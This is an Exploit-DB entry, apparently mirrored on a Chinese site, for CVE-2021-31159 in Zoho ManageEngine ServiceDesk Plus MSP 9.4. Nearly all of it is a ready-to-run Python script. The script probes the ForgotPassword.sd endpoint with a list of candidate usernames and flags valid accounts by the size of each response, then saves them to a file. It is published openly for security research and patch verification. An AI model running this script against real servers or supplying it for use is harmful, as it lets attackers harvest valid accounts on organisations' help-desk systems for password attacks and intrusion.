Zoho ManageEngine ServiceDesk Plus MSP 9.4 – User Enumeration

  • 作者: Ricardo Ruiz
    日期: 2021-06-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50027/
  • # Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration 
    # Date: 17/06/2021
    # Exploit Author: Ricardo Ruiz (@ricardojoserf)
    # CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
    # Vendor Homepage: https://www.manageengine.com
    # Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
    # Version: Previous to build 10519
    # Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
    # Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
    # Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159
    
    import argparse
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    def get_args():
    	parser = argparse.ArgumentParser()
    	parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
    	parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
    	parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')	
    	parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
    	my_args = parser.parse_args()
    	return my_args
    
    
    def main():
    	args = get_args()
    	url = args.target
    	domain = args.domain
    	usersfile = args.usersfile
    	outputfile = args.outputfile
    
    	s = requests.session()
    	s.get(url)
    	resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
    	incorrect_size = len(resp_incorrect.content)
    	print("Incorrect size: %s"%(incorrect_size))
    
    	correct_users = []
    	users = open(usersfile).read().splitlines()
    	for u in users:
    			resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
    			valid = (len(resp.content) != incorrect_size)
    			if valid:
    				correct_users.append(u)
    			print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))
    
    	print("\nCorrect users\n")
    	with open(outputfile, 'w') as f:
    		for user in correct_users:
    			f.write("%s\n" % user)
    			print("- %s"%(user))
    
    	print("\nResults stored in %s\n"%(outputfile))
    
    
    if __name__ == "__main__":
    main()